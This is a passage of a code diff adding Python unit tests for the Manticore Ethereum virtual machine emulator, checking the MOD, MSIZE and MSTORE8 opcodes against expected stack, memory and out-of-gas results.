+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [47L])
+
+    def test_MOD_69(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_MOD_70(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_MOD_71(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MOD_72(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MOD_73(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [324518553658426726783156020576255L])
+
+    def test_MOD_74(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MOD_75(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_MOD_76(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [162259276829213363391578010288112L])
+
+    def test_MOD_77(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [10141204801825835211973625643023L])
+
+    def test_MOD_78(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MOD_79(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MOD_80(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_MOD_81(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x06'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMMSIZE.py b/tests/EVM/test_EVMMSIZE.py
new file mode 100644
index 0000000..dbd5279
--- /dev/null
+++ b/tests/EVM/test_EVMMSIZE.py
@@ -0,0 +1,65 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_MSIZE(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_MSIZE_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='Y'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._store(124, 0x41)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [128])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMMSTORE8.py b/tests/EVM/test_EVMMSTORE8.py
new file mode 100644
index 0000000..f0758b2
--- /dev/null
+++ b/tests/EVM/test_EVMMSTORE8.py
@@ -0,0 +1,2279 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_MSTORE8(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_MSTORE8_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(0), 255L)
+
+    def test_MSTORE8_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(1), 255L)
+
+    def test_MSTORE8_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(16), 255L)
+
+    def test_MSTORE8_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(32), 255L)
+
+    def test_MSTORE8_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(48), 255L)
+
+    def test_MSTORE8_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(0), 0)
+
+    def test_MSTORE8_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(1), 0)
+
+    def test_MSTORE8_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_MSTORE8_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(16), 0)
+
+    def test_MSTORE8_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='S'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [])
+            self.assertEqual(new_vm._load(32), 0)
+
+    def test_MSTORE8_17(self):
+            #Make the constraint store
